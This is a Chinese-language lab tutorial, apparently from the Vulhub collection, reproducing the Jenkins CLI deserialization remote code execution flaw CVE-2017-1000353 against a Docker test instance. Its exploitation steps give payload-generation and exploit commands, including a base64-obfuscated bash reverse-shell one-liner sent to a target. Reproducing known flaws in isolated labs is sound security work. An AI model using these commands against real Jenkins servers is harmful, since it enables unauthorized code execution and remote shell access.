Jenkins-CI 远程代码执行漏洞 CVE-2017-1000353
漏洞描述
攻击者可以将序列化的Java SignedObject对象,传输到基于远程处理的Jenkins CLI,这将最终造成反序列化,进而绕过现有基于黑名单的保护机制。
参考阅读 https://blogs.securiteam.com/index.php/archives/3171
环境搭建
Vulhub执行如下命令启动jenkins 2.46.1:
docker-compose up -d
等待完全启动成功后,访问http://your-ip:8080
即可看到jenkins已成功运行,无需手工安装。
漏洞复现
一、命令执行
生成序列化字符串
参考https://github.com/vulhub/CVE-2017-1000353,首先下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar,这是生成POC的工具。
执行下面命令,生成字节码文件:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字节码文件名
# "touch ..."是待执行的任意命令
执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。
发送数据包,执行命令
下载exploit.py,python3执行python exploit.py http://your-ip:8080 jenkins_poc.ser
,将刚才生成的字节码文件发送给目标:
进入docker,发现/tmp/success
成功被创建,说明命令执行漏洞利用成功:
二、反弹shell
生成序列化字符串
执行下面命令,生成字节码文件 p.ser:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar p.ser "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
发送数据包,接收反弹shell
python CVE-2017-1000353.py http://39.106.155.180:11314/ p.ser
成功接收反弹shell: